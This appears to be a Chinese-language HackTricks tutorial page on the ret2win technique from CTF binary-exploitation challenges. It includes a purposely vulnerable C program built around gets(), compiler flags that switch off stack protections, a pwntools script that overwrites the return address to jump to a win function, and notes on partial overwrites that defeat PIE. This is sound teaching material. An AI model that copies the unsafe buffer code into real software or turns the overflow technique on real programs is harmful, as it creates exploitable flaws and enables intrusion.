108 lines
6.6 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Ret2win
{{#include ../../../banners/hacktricks-training.md}}
## 基本信息
**Ret2win** 挑战是 **Capture The Flag (CTF)** 竞赛中一个受欢迎的类别,特别是在涉及 **binary exploitation** 的任务中。目标是利用给定二进制文件中的漏洞,执行二进制文件中一个特定的、未被调用的函数,通常命名为 `win``flag` 等。当这个函数被执行时,通常会打印出一个标志或成功消息。挑战通常涉及覆盖栈上的 **return address**,以将执行流转向所需的函数。以下是更详细的解释和示例:
### C 示例
考虑一个简单的 C 程序,其中存在一个漏洞和一个我们打算调用的 `win` 函数:
```c
#include <stdio.h>
#include <string.h>
void win() {
printf("Congratulations! You've called the win function.\n");
}
void vulnerable_function() {
char buf[64];
gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow.
}
int main() {
vulnerable_function();
return 0;
}
```
要在没有栈保护和禁用 **ASLR** 的情况下编译此程序,您可以使用以下命令:
```sh
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
```
- `-m32`: 将程序编译为 32 位二进制文件(这不是必需的,但在 CTF 挑战中很常见)。
- `-fno-stack-protector`: 禁用对栈溢出的保护。
- `-z execstack`: 允许在栈上执行代码。
- `-no-pie`: 禁用位置无关可执行文件,以确保 `win` 函数的地址不变。
- `-o vulnerable`: 将输出文件命名为 `vulnerable`
### 使用 Pwntools 的 Python 利用
对于利用,我们将使用 **pwntools**,这是一个强大的 CTF 框架,用于编写利用脚本。利用脚本将创建一个有效负载,以溢出缓冲区并用 `win` 函数的地址覆盖返回地址。
```python
from pwn import *
# Set up the process and context for the binary
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path
# Find the address of the win function
win_addr = p32(0x08048456) # Replace 0x08048456 with the actual address of the win function in your binary
# Create the payload
# The buffer size is 64 bytes, and the saved EBP is 4 bytes. Hence, we need 68 bytes before we overwrite the return address.
payload = b'A' * 68 + win_addr
# Send the payload
p.sendline(payload)
p.interactive()
```
要找到 `win` 函数的地址,您可以使用 **gdb**、**objdump** 或任何其他允许您检查二进制文件的工具。例如,使用 `objdump`,您可以使用:
```sh
objdump -d vulnerable | grep win
```
该命令将显示 `win` 函数的汇编代码,包括其起始地址。
Python 脚本发送一个精心构造的消息,当被 `vulnerable_function` 处理时,会溢出缓冲区并用 `win` 的地址覆盖栈上的返回地址。当 `vulnerable_function` 返回时,它不会返回到 `main` 或退出,而是跳转到 `win`,并打印消息。
## 保护措施
- [**PIE**](../../common-binary-protections-and-bypasses/pie/index.html) **应禁用**,以确保地址在执行之间是可靠的,否则函数存储的地址可能并不总是相同,您需要一些泄漏信息来确定 `win` 函数加载的位置。在某些情况下,当导致溢出的函数是 `read` 或类似函数时,您可以进行 **部分覆盖** 1 或 2 字节,以将返回地址更改为 `win` 函数。由于 ASLR 的工作原理,最后三个十六进制半字节不会随机化,因此有 **1/16 的机会**1 个半字节)获得正确的返回地址。
- [**栈金丝雀**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) 也应禁用,否则被破坏的 EIP 返回地址将永远不会被跟随。
## 其他示例与参考
- [https://ir0nstone.gitbook.io/notes/types/stack/ret2win](https://ir0nstone.gitbook.io/notes/types/stack/ret2win)
- [https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html](https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html)
- 32位无 ASLR
- [https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html)
- 64 位,带 ASLR带有二进制地址泄漏
- [https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html)
- 64 位,无 ASLR
- [https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html)
- 32 位,无 ASLR双小溢出第一次溢出栈并增大第二次溢出的大小
- [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
- 32 位relro无金丝雀nx无 pie格式字符串覆盖地址 `fflush``win` 函数ret2win
- [https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html)
- 32 位nx其他无部分覆盖 EIP1 字节)以调用 `win` 函数
- [https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html)
- 32 位nx其他无部分覆盖 EIP1 字节)以调用 `win` 函数
- [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html)
- 该程序仅验证数字的最后一个字节以检查输入的大小,因此只要最后一个字节在允许范围内,就可以添加任何大小。然后,输入创建了一个缓冲区溢出,通过 ret2win 被利用。
- [https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/](https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/)
- 64 位relro无金丝雀nxpie。部分覆盖以调用 `win` 函数ret2win
- [https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/](https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/)
- arm64PIE给出一个 PIE 泄漏,`win` 函数实际上是两个函数,因此 ROP gadget 调用两个函数
- [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/)
- ARM64越界调用 `win` 函数
## ARM64 示例
{{#ref}}
ret2win-arm64.md
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}